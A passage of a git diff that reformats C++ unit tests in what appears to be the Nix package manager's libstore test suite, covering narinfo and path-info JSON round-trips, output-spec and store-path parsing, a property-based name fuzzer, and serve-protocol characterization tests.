"xz"; @@ -56,28 +60,24 @@ static NarInfo makeNarInfo(const Store & store, bool includeImpureInfo) { return info; } -#define JSON_TEST(STEM, PURE) \ - TEST_F(NarInfoTest, NarInfo_ ## STEM ## _from_json) { \ - readTest(#STEM, [&](const auto & encoded_) { \ - auto encoded = json::parse(encoded_); \ - auto expected = makeNarInfo(*store, PURE); \ - NarInfo got = NarInfo::fromJSON( \ - *store, \ - expected.path, \ - encoded); \ - ASSERT_EQ(got, expected); \ - }); \ - } \ - \ - TEST_F(NarInfoTest, NarInfo_ ## STEM ## _to_json) { \ - writeTest(#STEM, [&]() -> json { \ - return makeNarInfo(*store, PURE) \ - .toJSON(*store, PURE, HashFormat::SRI); \ - }, [](const auto & file) { \ - return json::parse(readFile(file)); \ - }, [](const auto & file, const auto & got) { \ - return writeFile(file, got.dump(2) + "\n"); \ - }); \ +#define JSON_TEST(STEM, PURE) \ + TEST_F(NarInfoTest, NarInfo_##STEM##_from_json) \ + { \ + readTest(#STEM, [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + auto expected = makeNarInfo(*store, PURE); \ + NarInfo got = NarInfo::fromJSON(*store, expected.path, encoded); \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(NarInfoTest, NarInfo_##STEM##_to_json) \ + { \ + writeTest( \ + #STEM, \ + [&]() -> json { return makeNarInfo(*store, PURE).toJSON(*store, PURE, HashFormat::SRI); }, \ + [](const auto & file) { return json::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.dump(2) + "\n"); }); \ } JSON_TEST(pure, false) diff --git a/src/libstore-tests/outputs-spec.cc b/src/libstore-tests/outputs-spec.cc index a17922c46..3a9e49850 100644 --- a/src/libstore-tests/outputs-spec.cc +++ b/src/libstore-tests/outputs-spec.cc @@ -6,15 +6,16 @@ namespace nix { -TEST(OutputsSpec, no_empty_names) { - ASSERT_DEATH(OutputsSpec::Names { std::set { } }, ""); +TEST(OutputsSpec, no_empty_names) +{ + ASSERT_DEATH(OutputsSpec::Names{std::set{}}, ""); } -#define TEST_DONT_PARSE(NAME, STR) \ - TEST(OutputsSpec, bad_ ## NAME) { \ - std::optional OutputsSpecOpt = \ - OutputsSpec::parseOpt(STR); \ - ASSERT_FALSE(OutputsSpecOpt); \ +#define TEST_DONT_PARSE(NAME, STR) \ + TEST(OutputsSpec, bad_##NAME) \ + { \ + std::optional OutputsSpecOpt = OutputsSpec::parseOpt(STR); \ + ASSERT_FALSE(OutputsSpecOpt); \ } TEST_DONT_PARSE(empty, "") @@ -25,96 +26,109 @@ TEST_DONT_PARSE(star_second, "foo,*") #undef TEST_DONT_PARSE -TEST(OutputsSpec, all) { +TEST(OutputsSpec, all) +{ std::string_view str = "*"; - OutputsSpec expected = OutputsSpec::All { }; + OutputsSpec expected = OutputsSpec::All{}; ASSERT_EQ(OutputsSpec::parse(str), expected); ASSERT_EQ(expected.to_string(), str); } -TEST(OutputsSpec, names_out) { +TEST(OutputsSpec, names_out) +{ std::string_view str = "out"; - OutputsSpec expected = OutputsSpec::Names { "out" }; + OutputsSpec expected = OutputsSpec::Names{"out"}; ASSERT_EQ(OutputsSpec::parse(str), expected); ASSERT_EQ(expected.to_string(), str); } -TEST(OutputsSpec, names_underscore) { +TEST(OutputsSpec, names_underscore) +{ std::string_view str = "a_b"; - OutputsSpec expected = OutputsSpec::Names { "a_b" }; + OutputsSpec expected = OutputsSpec::Names{"a_b"}; ASSERT_EQ(OutputsSpec::parse(str), expected); ASSERT_EQ(expected.to_string(), str); } -TEST(OutputsSpec, names_numberic) { +TEST(OutputsSpec, names_numberic) +{ std::string_view str = "01"; - OutputsSpec expected = OutputsSpec::Names { "01" }; + OutputsSpec expected = OutputsSpec::Names{"01"}; ASSERT_EQ(OutputsSpec::parse(str), expected); ASSERT_EQ(expected.to_string(), str); } -TEST(OutputsSpec, names_out_bin) { - OutputsSpec expected = OutputsSpec::Names { "out", "bin" }; +TEST(OutputsSpec, names_out_bin) +{ + OutputsSpec expected = OutputsSpec::Names{"out", "bin"}; ASSERT_EQ(OutputsSpec::parse("out,bin"), expected); // N.B. This normalization is OK. ASSERT_EQ(expected.to_string(), "bin,out"); } -#define TEST_SUBSET(X, THIS, THAT) \ - X((OutputsSpec { THIS }).isSubsetOf(THAT)); +#define TEST_SUBSET(X, THIS, THAT) X((OutputsSpec{THIS}).isSubsetOf(THAT)); -TEST(OutputsSpec, subsets_all_all) { - TEST_SUBSET(ASSERT_TRUE, OutputsSpec::All { }, OutputsSpec::All { }); +TEST(OutputsSpec, subsets_all_all) +{ + TEST_SUBSET(ASSERT_TRUE, OutputsSpec::All{}, OutputsSpec::All{}); } -TEST(OutputsSpec, subsets_names_all) { - TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names { "a" }, OutputsSpec::All { }); +TEST(OutputsSpec, subsets_names_all) +{ + TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names{"a"}, OutputsSpec::All{}); } -TEST(OutputsSpec, subsets_names_names_eq) { - TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names { "a" }, OutputsSpec::Names { "a" }); +TEST(OutputsSpec, subsets_names_names_eq) +{ + TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names{"a"}, OutputsSpec::Names{"a"}); } -TEST(OutputsSpec, subsets_names_names_noneq) { - TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names { "a" }, (OutputsSpec::Names { "a", "b" })); +TEST(OutputsSpec, subsets_names_names_noneq) +{ + TEST_SUBSET(ASSERT_TRUE, OutputsSpec::Names{"a"}, (OutputsSpec::Names{"a", "b"})); } -TEST(OutputsSpec, not_subsets_all_names) { - TEST_SUBSET(ASSERT_FALSE, OutputsSpec::All { }, OutputsSpec::Names { "a" }); +TEST(OutputsSpec, not_subsets_all_names) +{ + TEST_SUBSET(ASSERT_FALSE, OutputsSpec::All{}, OutputsSpec::Names{"a"}); } -TEST(OutputsSpec, not_subsets_names_names) { - TEST_SUBSET(ASSERT_FALSE, (OutputsSpec::Names { "a", "b" }), (OutputsSpec::Names { "a" })); +TEST(OutputsSpec, not_subsets_names_names) +{ + TEST_SUBSET(ASSERT_FALSE, (OutputsSpec::Names{"a", "b"}), (OutputsSpec::Names{"a"})); } #undef TEST_SUBSET -#define TEST_UNION(RES, THIS, THAT) \ - ASSERT_EQ(OutputsSpec { RES }, (OutputsSpec { THIS }).union_(THAT)); +#define TEST_UNION(RES, THIS, THAT) ASSERT_EQ(OutputsSpec{RES}, (OutputsSpec{THIS}).union_(THAT)); -TEST(OutputsSpec, union_all_all) { - TEST_UNION(OutputsSpec::All { }, OutputsSpec::All { }, OutputsSpec::All { }); +TEST(OutputsSpec, union_all_all) +{ + TEST_UNION(OutputsSpec::All{}, OutputsSpec::All{}, OutputsSpec::All{}); } -TEST(OutputsSpec, union_all_names) { - TEST_UNION(OutputsSpec::All { }, OutputsSpec::All { }, OutputsSpec::Names { "a" }); +TEST(OutputsSpec, union_all_names) +{ + TEST_UNION(OutputsSpec::All{}, OutputsSpec::All{}, OutputsSpec::Names{"a"}); } -TEST(OutputsSpec, union_names_all) { - TEST_UNION(OutputsSpec::All { }, OutputsSpec::Names { "a" }, OutputsSpec::All { }); +TEST(OutputsSpec, union_names_all) +{ + TEST_UNION(OutputsSpec::All{}, OutputsSpec::Names{"a"}, OutputsSpec::All{}); } -TEST(OutputsSpec, union_names_names) { - TEST_UNION((OutputsSpec::Names { "a", "b" }), OutputsSpec::Names { "a" }, OutputsSpec::Names { "b" }); +TEST(OutputsSpec, union_names_names) +{ + TEST_UNION((OutputsSpec::Names{"a", "b"}), OutputsSpec::Names{"a"}, OutputsSpec::Names{"b"}); } #undef TEST_UNION -#define TEST_DONT_PARSE(NAME, STR) \ - TEST(ExtendedOutputsSpec, bad_ ## NAME) { \ - std::optional extendedOutputsSpecOpt = \ - ExtendedOutputsSpec::parseOpt(STR); \ - ASSERT_FALSE(extendedOutputsSpecOpt); \ +#define TEST_DONT_PARSE(NAME, STR) \ + TEST(ExtendedOutputsSpec, bad_##NAME) \ + { \ + std::optional extendedOutputsSpecOpt = ExtendedOutputsSpec::parseOpt(STR); \ + ASSERT_FALSE(extendedOutputsSpecOpt); \ } TEST_DONT_PARSE(carot_empty, "^") @@ -126,83 +140,82 @@ TEST_DONT_PARSE(star_second, "^foo,*") #undef TEST_DONT_PARSE -TEST(ExtendedOutputsSpec, defeault) { +TEST(ExtendedOutputsSpec, defeault) +{ std::string_view str = "foo"; auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(str); ASSERT_EQ(prefix, "foo"); - ExtendedOutputsSpec expected = ExtendedOutputsSpec::Default { }; + ExtendedOutputsSpec expected = ExtendedOutputsSpec::Default{}; ASSERT_EQ(extendedOutputsSpec, expected); - ASSERT_EQ(std::string { prefix } + expected.to_string(), str); + ASSERT_EQ(std::string{prefix} + expected.to_string(), str); } -TEST(ExtendedOutputsSpec, all) { +TEST(ExtendedOutputsSpec, all) +{ std::string_view str = "foo^*"; auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(str); ASSERT_EQ(prefix, "foo"); - ExtendedOutputsSpec expected = OutputsSpec::All { }; + ExtendedOutputsSpec expected = OutputsSpec::All{}; ASSERT_EQ(extendedOutputsSpec, expected); - ASSERT_EQ(std::string { prefix } + expected.to_string(), str); + ASSERT_EQ(std::string{prefix} + expected.to_string(), str); } -TEST(ExtendedOutputsSpec, out) { +TEST(ExtendedOutputsSpec, out) +{ std::string_view str = "foo^out"; auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse(str); ASSERT_EQ(prefix, "foo"); - ExtendedOutputsSpec expected = OutputsSpec::Names { "out" }; + ExtendedOutputsSpec expected = OutputsSpec::Names{"out"}; ASSERT_EQ(extendedOutputsSpec, expected); - ASSERT_EQ(std::string { prefix } + expected.to_string(), str); + ASSERT_EQ(std::string{prefix} + expected.to_string(), str); } -TEST(ExtendedOutputsSpec, out_bin) { +TEST(ExtendedOutputsSpec, out_bin) +{ auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse("foo^out,bin"); ASSERT_EQ(prefix, "foo"); - ExtendedOutputsSpec expected = OutputsSpec::Names { "out", "bin" }; + ExtendedOutputsSpec expected = OutputsSpec::Names{"out", "bin"}; ASSERT_EQ(extendedOutputsSpec, expected); - ASSERT_EQ(std::string { prefix } + expected.to_string(), "foo^bin,out"); + ASSERT_EQ(std::string{prefix} + expected.to_string(), "foo^bin,out"); } -TEST(ExtendedOutputsSpec, many_carrot) { +TEST(ExtendedOutputsSpec, many_carrot) +{ auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse("foo^bar^out,bin"); ASSERT_EQ(prefix, "foo^bar"); - ExtendedOutputsSpec expected = OutputsSpec::Names { "out", "bin" }; + ExtendedOutputsSpec expected = OutputsSpec::Names{"out", "bin"}; ASSERT_EQ(extendedOutputsSpec, expected); - ASSERT_EQ(std::string { prefix } + expected.to_string(), "foo^bar^bin,out"); + ASSERT_EQ(std::string{prefix} + expected.to_string(), "foo^bar^bin,out"); } - -#define TEST_JSON(TYPE, NAME, STR, VAL) \ - \ - TEST(TYPE, NAME ## _to_json) { \ - using nlohmann::literals::operator "" _json; \ - ASSERT_EQ( \ - STR ## _json, \ - ((nlohmann::json) TYPE { VAL })); \ - } \ - \ - TEST(TYPE, NAME ## _from_json) { \ - using nlohmann::literals::operator "" _json; \ - ASSERT_EQ( \ - TYPE { VAL }, \ - (STR ## _json).get()); \ +#define TEST_JSON(TYPE, NAME, STR, VAL) \ + \ + TEST(TYPE, NAME##_to_json) \ + { \ + using nlohmann::literals::operator"" _json; \ + ASSERT_EQ(STR##_json, ((nlohmann::json) TYPE{VAL})); \ + } \ + \ + TEST(TYPE, NAME##_from_json) \ + { \ + using nlohmann::literals::operator"" _json; \ + ASSERT_EQ(TYPE{VAL}, (STR##_json).get()); \ } -TEST_JSON(OutputsSpec, all, R"(["*"])", OutputsSpec::All { }) -TEST_JSON(OutputsSpec, name, R"(["a"])", OutputsSpec::Names { "a" }) -TEST_JSON(OutputsSpec, names, R"(["a","b"])", (OutputsSpec::Names { "a", "b" })) +TEST_JSON(OutputsSpec, all, R"(["*"])", OutputsSpec::All{}) +TEST_JSON(OutputsSpec, name, R"(["a"])", OutputsSpec::Names{"a"}) +TEST_JSON(OutputsSpec, names, R"(["a","b"])", (OutputsSpec::Names{"a", "b"})) -TEST_JSON(ExtendedOutputsSpec, def, R"(null)", ExtendedOutputsSpec::Default { }) -TEST_JSON(ExtendedOutputsSpec, all, R"(["*"])", ExtendedOutputsSpec::Explicit { OutputsSpec::All { } }) -TEST_JSON(ExtendedOutputsSpec, name, R"(["a"])", ExtendedOutputsSpec::Explicit { OutputsSpec::Names { "a" } }) -TEST_JSON(ExtendedOutputsSpec, names, R"(["a","b"])", (ExtendedOutputsSpec::Explicit { OutputsSpec::Names { "a", "b" } })) +TEST_JSON(ExtendedOutputsSpec, def, R"(null)", ExtendedOutputsSpec::Default{}) +TEST_JSON(ExtendedOutputsSpec, all, R"(["*"])", ExtendedOutputsSpec::Explicit{OutputsSpec::All{}}) +TEST_JSON(ExtendedOutputsSpec, name, R"(["a"])", ExtendedOutputsSpec::Explicit{OutputsSpec::Names{"a"}}) +TEST_JSON(ExtendedOutputsSpec, names, R"(["a","b"])", (ExtendedOutputsSpec::Explicit{OutputsSpec::Names{"a", "b"}})) #undef TEST_JSON #ifndef COVERAGE -RC_GTEST_PROP( - OutputsSpec, - prop_round_rip, - (const OutputsSpec & o)) +RC_GTEST_PROP(OutputsSpec, prop_round_rip, (const OutputsSpec & o)) { RC_ASSERT(o == OutputsSpec::parse(o.to_string())); } diff --git a/src/libstore-tests/path-info.cc b/src/libstore-tests/path-info.cc index a7699f7ad..eafa8b506 100644 --- a/src/libstore-tests/path-info.cc +++ b/src/libstore-tests/path-info.cc @@ -14,7 +14,8 @@ class PathInfoTest : public CharacterizationTest, public LibStoreTest { std::filesystem::path unitTestData = getUnitTestData() / "path-info"; - std::filesystem::path goldenMaster(PathView testStem) const override { + std::filesystem::path goldenMaster(PathView testStem) const override + { return unitTestData / (testStem + ".json"); } }; @@ -28,59 +29,60 @@ static UnkeyedValidPathInfo makeEmpty() static ValidPathInfo makeFullKeyed(const Store & store, bool includeImpureInfo) { - ValidPathInfo info = ValidPathInfo { + ValidPathInfo info = ValidPathInfo{ store, "foo", - FixedOutputInfo { + FixedOutputInfo{ .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), - .references = { - .others = { - StorePath { - "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", - }, + .references = + { + .others = + { + StorePath{ + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }, + .self = true, }, - .self = true, - }, }, Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), }; info.narSize = 34878; if (includeImpureInfo) { - info.deriver = StorePath { + info.deriver = StorePath{ "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", }; info.registrationTime = 23423; info.ultimate = true; - info.sigs = { "asdf", "qwer" }; + info.sigs = {"asdf", "qwer"}; } return info; } -static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo) { +static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo) +{ return makeFullKeyed(store, includeImpureInfo); } -#define JSON_TEST(STEM, OBJ, PURE) \ - TEST_F(PathInfoTest, PathInfo_ ## STEM ## _from_json) { \ - readTest(#STEM, [&](const auto & encoded_) { \ - auto encoded = json::parse(encoded_); \ - UnkeyedValidPathInfo got = UnkeyedValidPathInfo::fromJSON( \ - *store, \ - encoded); \ - auto expected = OBJ; \ - ASSERT_EQ(got, expected); \ - }); \ - } \ - \ - TEST_F(PathInfoTest, PathInfo_ ## STEM ## _to_json) { \ - writeTest(#STEM, [&]() -> json { \ - return OBJ.toJSON(*store, PURE, HashFormat::SRI); \ - }, [](const auto & file) { \ - return json::parse(readFile(file)); \ - }, [](const auto & file, const auto & got) { \ - return writeFile(file, got.dump(2) + "\n"); \ - }); \ +#define JSON_TEST(STEM, OBJ, PURE) \ + TEST_F(PathInfoTest, PathInfo_##STEM##_from_json) \ + { \ + readTest(#STEM, [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + UnkeyedValidPathInfo got = UnkeyedValidPathInfo::fromJSON(*store, encoded); \ + auto expected = OBJ; \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(PathInfoTest, PathInfo_##STEM##_to_json) \ + { \ + writeTest( \ + #STEM, \ + [&]() -> json { return OBJ.toJSON(*store, PURE, HashFormat::SRI); }, \ + [](const auto & file) { return json::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.dump(2) + "\n"); }); \ } JSON_TEST(empty_pure, makeEmpty(), false) @@ -89,7 +91,8 @@ JSON_TEST(empty_impure, makeEmpty(), true) JSON_TEST(pure, makeFull(*store, false), false) JSON_TEST(impure, makeFull(*store, true), true) -TEST_F(PathInfoTest, PathInfo_full_shortRefs) { +TEST_F(PathInfoTest, PathInfo_full_shortRefs) +{ ValidPathInfo it = makeFullKeyed(*store, true); // it.references = unkeyed.references; auto refs = it.shortRefs(); diff --git a/src/libstore-tests/path.cc b/src/libstore-tests/path.cc index 4da73a0ad..a229abfd1 100644 --- a/src/libstore-tests/path.cc +++ b/src/libstore-tests/path.cc @@ -17,29 +17,20 @@ namespace nix { #define HASH_PART "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q" class StorePathTest : public LibStoreTest -{ -}; +{}; -static std::regex nameRegex { std::string { nameRegexStr } }; +static std::regex nameRegex{std::string{nameRegexStr}}; -#define TEST_DONT_PARSE(NAME, STR) \ - TEST_F(StorePathTest, bad_ ## NAME) { \ - std::string_view str = \ - STORE_DIR HASH_PART "-" STR; \ - /* ASSERT_THROW generates a duplicate goto label */ \ - /* A lambda isolates those labels. */ \ - [&](){ \ - ASSERT_THROW( \ - store->parseStorePath(str), \ - BadStorePath); \ - }(); \ - std::string name { STR }; \ - [&](){ \ - ASSERT_THROW( \ - nix::checkName(name), \ - BadStorePathName); \ - }(); \ - EXPECT_FALSE(std::regex_match(name, nameRegex)); \ +#define TEST_DONT_PARSE(NAME, STR) \ + TEST_F(StorePathTest, bad_##NAME) \ + { \ + std::string_view str = STORE_DIR HASH_PART "-" STR; \ + /* ASSERT_THROW generates a duplicate goto label */ \ + /* A lambda isolates those labels. */ \ + [&]() { ASSERT_THROW(store->parseStorePath(str), BadStorePath); }(); \ + std::string name{STR}; \ + [&]() { ASSERT_THROW(nix::checkName(name), BadStorePathName); }(); \ + EXPECT_FALSE(std::regex_match(name, nameRegex)); \ } TEST_DONT_PARSE(empty, "") @@ -57,14 +48,14 @@ TEST_DONT_PARSE(dot_dash_a, ".-a") #undef TEST_DONT_PARSE -#define TEST_DO_PARSE(NAME, STR) \ - TEST_F(StorePathTest, good_ ## NAME) { \ - std::string_view str = \ - STORE_DIR HASH_PART "-" STR; \ - auto p = store->parseStorePath(str); \ - std::string name { p.name() }; \ - EXPECT_EQ(p.name(), STR); \ - EXPECT_TRUE(std::regex_match(name, nameRegex)); \ +#define TEST_DO_PARSE(NAME, STR) \ + TEST_F(StorePathTest, good_##NAME) \ + { \ + std::string_view str = STORE_DIR HASH_PART "-" STR; \ + auto p = store->parseStorePath(str); \ + std::string name{p.name()}; \ + EXPECT_EQ(p.name(), STR); \ + EXPECT_TRUE(std::regex_match(name, nameRegex)); \ } // 0-9 a-z A-Z + - . _ ? = @@ -88,67 +79,46 @@ TEST_DO_PARSE(triple_dot, "...") #ifndef COVERAGE -RC_GTEST_FIXTURE_PROP( - StorePathTest, - prop_regex_accept, - (const StorePath & p)) +RC_GTEST_FIXTURE_PROP(StorePathTest, prop_regex_accept, (const StorePath & p)) { - RC_ASSERT(std::regex_match(std::string { p.name() }, nameRegex)); + RC_ASSERT(std::regex_match(std::string{p.name()}, nameRegex)); } -RC_GTEST_FIXTURE_PROP( - StorePathTest, - prop_round_rip, - (const StorePath & p)) +RC_GTEST_FIXTURE_PROP(StorePathTest, prop_round_rip, (const StorePath & p)) { RC_ASSERT(p == store->parseStorePath(store->printStorePath(p))); } - -RC_GTEST_FIXTURE_PROP( - StorePathTest, - prop_check_regex_eq_parse, - ()) +RC_GTEST_FIXTURE_PROP(StorePathTest, prop_check_regex_eq_parse, ()) { - static auto nameFuzzer = - rc::gen::container( - rc::gen::oneOf( - // alphanum, repeated to weigh heavier - rc::gen::oneOf( - rc::gen::inRange('0', '9'), - rc::gen::inRange('a', 'z'), - rc::gen::inRange('A', 'Z') - ), - // valid symbols - rc::gen::oneOf( - rc::gen::just('+'), - rc::gen::just('-'), - rc::gen::just('.'), - rc::gen::just('_'), - rc::gen::just('?'), - rc::gen::just('=') - ), - // symbols for scary .- and ..- cases, repeated for weight - rc::gen::just('.'), rc::gen::just('.'), - rc::gen::just('.'), rc::gen::just('.'), - rc::gen::just('-'), rc::gen::just('-'), - // ascii symbol ranges - rc::gen::oneOf( - rc::gen::inRange(' ', '/'), - rc::gen::inRange(':', '@'), - rc::gen::inRange('[', '`'), - rc::gen::inRange('{', '~') - ), - // typical whitespace - rc::gen::oneOf( - rc::gen::just(' '), - rc::gen::just('\t'), - rc::gen::just('\n'), - rc::gen::just('\r') - ), - // some chance of control codes, non-ascii or other garbage we missed - rc::gen::inRange('\0', '\xff') - )); + static auto nameFuzzer = rc::gen::container(rc::gen::oneOf( + // alphanum, repeated to weigh heavier + rc::gen::oneOf(rc::gen::inRange('0', '9'), rc::gen::inRange('a', 'z'), rc::gen::inRange('A', 'Z')), + // valid symbols + rc::gen::oneOf( + rc::gen::just('+'), + rc::gen::just('-'), + rc::gen::just('.'), + rc::gen::just('_'), + rc::gen::just('?'), + rc::gen::just('=')), + // symbols for scary .- and ..- cases, repeated for weight + rc::gen::just('.'), + rc::gen::just('.'), + rc::gen::just('.'), + rc::gen::just('.'), + rc::gen::just('-'), + rc::gen::just('-'), + // ascii symbol ranges + rc::gen::oneOf( + rc::gen::inRange(' ', '/'), + rc::gen::inRange(':', '@'), + rc::gen::inRange('[', '`'), + rc::gen::inRange('{', '~')), + // typical whitespace + rc::gen::oneOf(rc::gen::just(' '), rc::gen::just('\t'), rc::gen::just('\n'), rc::gen::just('\r')), + // some chance of control codes, non-ascii or other garbage we missed + rc::gen::inRange('\0', '\xff'))); auto name = *nameFuzzer; @@ -159,7 +129,7 @@ RC_GTEST_FIXTURE_PROP( parsed = true; } catch (const BadStorePath &) { } - RC_ASSERT(parsed == std::regex_match(std::string { name }, nameRegex)); + RC_ASSERT(parsed == std::regex_match(std::string{name}, nameRegex)); } #endif diff --git a/src/libstore-tests/serve-protocol.cc b/src/libstore-tests/serve-protocol.cc index 9297d46ea..521bf06b0 100644 --- a/src/libstore-tests/serve-protocol.cc +++ b/src/libstore-tests/serve-protocol.cc @@ -30,7 +30,7 @@ VERSIONED_CHARACTERIZATION_TEST( string, "string", defaultVersion, - (std::tuple { + (std::tuple{ "", "hi", "white rabbit", @@ -45,9 +45,9 @@ VERSIONED_CHARACTERIZATION_TEST( storePath, "store-path", defaultVersion, - (std::tuple { - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + (std::tuple{ + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar"}, })) VERSIONED_CHARACTERIZATION_TEST( @@ -55,16 +55,16 @@ VERSIONED_CHARACTERIZATION_TEST( contentAddress, "content-address", defaultVersion, - (std::tuple { - ContentAddress { + (std::tuple{ + ContentAddress{ .method = ContentAddressMethod::Raw::Text, .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), }, - ContentAddress { + ContentAddress{ .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, - ContentAddress { + ContentAddress{ .method = ContentAddressMethod::Raw::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, @@ -75,12 +75,12 @@ VERSIONED_CHARACTERIZATION_TEST( drvOutput, "drv-output", defaultVersion, - (std::tuple { + (std::tuple{ { .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), .outputName = "baz", }, - DrvOutput { + DrvOutput{ .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), .outputName = "quux", }, @@ -93,70 +93,88 @@ VERSIONED_CHARACTERIZATION_TEST( realisation, "realisation", defaultVersion, - (std::tuple { - Realisation { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), - .outputName = "baz", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - .signatures = { "asdf", "qwer" }, - }, - Realisation { - .id = { - .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), - .outputName = "baz", - }, - .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, - .signatures = { "asdf", "qwer" }, - .dependentRealisations = { - { - DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "quux", - }, - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + (std::tuple{ + Realisation{ + .id = + DrvOutput{ + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + .signatures = {"asdf", "qwer"}, + }, + Realisation{ + .id = + { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + .signatures = {"asdf", "qwer"}, + .dependentRealisations = + { + { + DrvOutput{ + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo"}, + }, }, - }, }, })) -VERSIONED_CHARACTERIZATION_TEST( - ServeProtoTest, - buildResult_2_2, - "build-result-2.2", - 2 << 8 | 2, - ({ - using namespace std::literals::chrono_literals; - std::tuple t { - BuildResult { - .status = BuildResult::OutputRejected, - .errorMsg = "no idea why", - }, - BuildResult { - .status = BuildResult::NotDeterministic, - .errorMsg = "no idea why", - }, - BuildResult { - .status = BuildResult::Built, - }, - }; - t; - })) +VERSIONED_CHARACTERIZATION_TEST(ServeProtoTest, buildResult_2_2, "build-result-2.2", 2 << 8 | 2, ({ + using namespace std::literals::chrono_literals; + std::tuple t{ + BuildResult{ + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult{ + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + }, + BuildResult{ + .status = BuildResult::Built, + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST(ServeProtoTest, buildResult_2_3, "build-result-2.3", 2 << 8 | 3, ({ + using namespace std::literals::chrono_literals; + std::tuple t{ + BuildResult{ + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult{ + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + .timesBuilt = 3, + .isNonDeterministic = true, + .startTime = 30, + .stopTime = 50, + }, + BuildResult{ + .status = BuildResult::Built, + .startTime = 30, + .stopTime = 50, + }, + }; + t; + })) VERSIONED_CHARACTERIZATION_TEST( - ServeProtoTest, - buildResult_2_3, - "build-result-2.3", - 2 << 8 | 3, - ({ + ServeProtoTest, buildResult_2_6, "build-result-2.6", 2 << 8 | 6, ({ using namespace std::literals::chrono_literals; - std::tuple t { - BuildResult { + std::tuple t{ + BuildResult{ .status = BuildResult::OutputRejected, .errorMsg = "no idea why", }, - BuildResult { + BuildResult{ .status = BuildResult::NotDeterministic, .errorMsg = "no idea why", .timesBuilt = 3, @@ -164,60 +182,36 @@ VERSIONED_CHARACTERIZATION_TEST( .startTime = 30, .stopTime = 50, }, - BuildResult { - .status = BuildResult::Built, - .startTime = 30, - .stopTime = 50, - }, - }; - t; - })) - -VERSIONED_CHARACTERIZATION_TEST( - ServeProtoTest, - buildResult_2_6, - "build-result-2.6", - 2 << 8 | 6, - ({ - using namespace std::literals::chrono_literals; - std::tuple t { - BuildResult { - .status = BuildResult::OutputRejected, - .errorMsg = "no idea why", - }, - BuildResult { - .status = BuildResult::NotDeterministic, - .errorMsg = "no idea why", - .timesBuilt = 3, - .isNonDeterministic = true, - .startTime = 30, - .stopTime = 50, - }, - BuildResult { + BuildResult{ .status = BuildResult::Built, .timesBuilt = 1, - .builtOutputs = { + .builtOutputs = { - "foo", { - .id = DrvOutput { - .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), - .outputName = "foo", + "foo", + { + .id = + DrvOutput{ + .drvHash = + 